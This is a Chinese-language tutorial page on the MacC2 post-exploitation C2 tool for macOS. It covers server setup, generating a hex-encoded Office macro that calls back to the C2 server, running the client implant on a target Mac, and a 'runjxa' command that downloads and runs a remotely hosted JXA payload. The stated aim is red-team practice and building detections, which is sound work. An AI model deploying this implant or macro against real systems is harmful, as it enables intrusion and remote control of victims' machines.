溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

發(fā)布時(shí)間:2021-09-15 17:51:42 來源:億速云 閱讀:249 作者:小新 欄目:編程語言

小編給大家分享一下如何使用MacC2對macOS進(jìn)行后滲透漏洞利用,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

MacC2

MacC2是一款基于Python開發(fā)的macOS后滲透漏洞利用工具,該工具使用的是Objective-C調(diào)用或Python代碼庫,而并非命令行執(zhí)行。MacC2的客戶端基于Python2開發(fā),雖然Python2現(xiàn)在已經(jīng)算是被棄用了,但它仍然可以隨Big Sur安裝一起提供。在將來,蘋果很可能會從macOS的基礎(chǔ)安裝組件中移除Python2(或者直接刪除預(yù)置的Python環(huán)境支持),但直到2020年11月,這種情況還沒出現(xiàn)。

該工具的主要目的是為了幫助安全研究團(tuán)隊(duì)進(jìn)行滲透測試技術(shù)演練,并在macOS上構(gòu)建針對Python后滲透漏洞利用框架的檢測機(jī)制。蘋果計(jì)劃會將腳本運(yùn)行時(shí)環(huán)境從macOS的基礎(chǔ)安裝中移除,具體何時(shí)刪除我們還不得而知,不過現(xiàn)在的Big Sur安裝還是包括了Python的。

當(dāng)前版本的MacC2已在Catalina和Big Sur上進(jìn)行了測試。在Big-Sur上,惟一沒有按預(yù)期工作的函數(shù)是systeminfo命令.

您可以在本地設(shè)置服務(wù)器,也可以使用我在這個(gè)項(xiàng)目代碼庫中提供的Docker設(shè)置。

使用Docker運(yùn)行MacC2

如果你還沒有安裝Docker的話,請使用下列命令安裝和配置Docker:

chmod +x install_docker_linux.sh

sudo ./install_docker_linux.sh

接下來,運(yùn)行下列命令。下列命令將會創(chuàng)建一個(gè)不受信任的SSL證書以及密鑰,并為服務(wù)器和端口生成一個(gè)宏文件(macro.txt),然后構(gòu)建macc2-docker。構(gòu)建完成后,將會在macc2-docker中以交互模式運(yùn)行MacC2服務(wù)器。

此時(shí),工具將要求我們輸出MacC2服務(wù)器的IP/主機(jī)名:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

然后輸入MacC2服務(wù)器需要監(jiān)聽的端口號:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

工具將生成一個(gè)十六進(jìn)制編碼的Payload,存儲在一個(gè)名為macro.txt的本地文件中,它能夠連接至你的MacC2服務(wù)器,主機(jī)名、IP和端口均對應(yīng)用戶的設(shè)置:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

Docker將會安裝aiohttp Python3依賴,構(gòu)建macc2-docker,然后在容器中運(yùn)行MacC2服務(wù)器。完成之后,MacC2服務(wù)器將會監(jiān)聽用戶所指定的端口:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

現(xiàn)在,我們就可以使用下列命令驗(yàn)證MacC2服務(wù)器的運(yùn)行狀態(tài)了:

docker ps

除此之外,安裝腳本還會在容器和主機(jī)之間配置一個(gè)共享掛載。在主機(jī)上,我們可以瀏覽/var/lib/docker/volumes/macc2/_data來訪問MacC2_client.py和macro.txt。

我們還可以將MacC2_client.py文件拷貝到客戶端,執(zhí)行之后將提供回調(diào),或者直接將macro.txt宏文件導(dǎo)入至一個(gè)Office文檔,啟用宏功能之后,將在客戶端打開回調(diào)。

本地運(yùn)行(不使用Docker)

如果你不想使用Docker,你還可以在本地搭建和配置服務(wù)器:

廣大研究人員可以使用下列命令將該項(xiàng)目源碼克隆至本地:

git clone https://github.com/cedowens/MacC2.git

由于MacC2服務(wù)器使用了aiohttp庫來進(jìn)行網(wǎng)絡(luò)通信,因此我們要先安裝aiohttp:

pip install aiohttp

python3 -m pip install --upgrade --force pip

接下來,在C2服務(wù)器上,配置SSL(密鑰大小至少為2048):

openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key

openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

請注意,ca.pem和ca.key的文件名不要修改。

然后,使用macro_generator.py來創(chuàng)建MacC2腳本,然后指定服務(wù)器的IP/域名以及端口號。macro_generator.py還會構(gòu)建一個(gè)十六進(jìn)制編碼的宏文件(macro.txt)來運(yùn)行MacC2.我們可以將文件中的內(nèi)容拷貝到一個(gè)MS Office文檔中。

使用樣例:

python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

使用MacC2_server.py腳本監(jiān)聽連接:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

在客戶端(目標(biāo)為macOS主機(jī)),使用下列命令運(yùn)行MacC2_client.py腳本:

python MacC2_client.py

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

此時(shí)在服務(wù)器端,你將看到傳入的連接:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

MacC2使用

收到連接之后,我們可以在服務(wù)器端使用“help”命令來獲取內(nèi)置可用的命令列表,然后輸入目標(biāo)命令來查看詳細(xì)信息:

如何使用MacC2對macOS進(jìn)行后滲透漏洞利用

你還可以生成一個(gè)Mythic C2 JXA .js Payload,然后將其托管至一臺遠(yuǎn)程服務(wù)器中。接下來,使用runjxa命令來向MacC2提供托管文件的URL,并執(zhí)行Mythic .JXA Payload:

>>> runjxa <url_to_JXA_.js_payload>

看完了這篇文章,相信你對“如何使用MacC2對macOS進(jìn)行后滲透漏洞利用”有了一定的了解,如果想了解更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI